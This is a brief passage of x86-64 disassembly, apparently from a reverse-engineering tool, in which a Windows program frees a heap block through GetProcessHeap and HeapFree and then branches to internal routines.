mov dword [rbx + 8], ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp ebp, r13d
jne 0x10125d2
mov rcx, rbx
call fcn.01012718
mov eax, ebp
jmp 0x1012533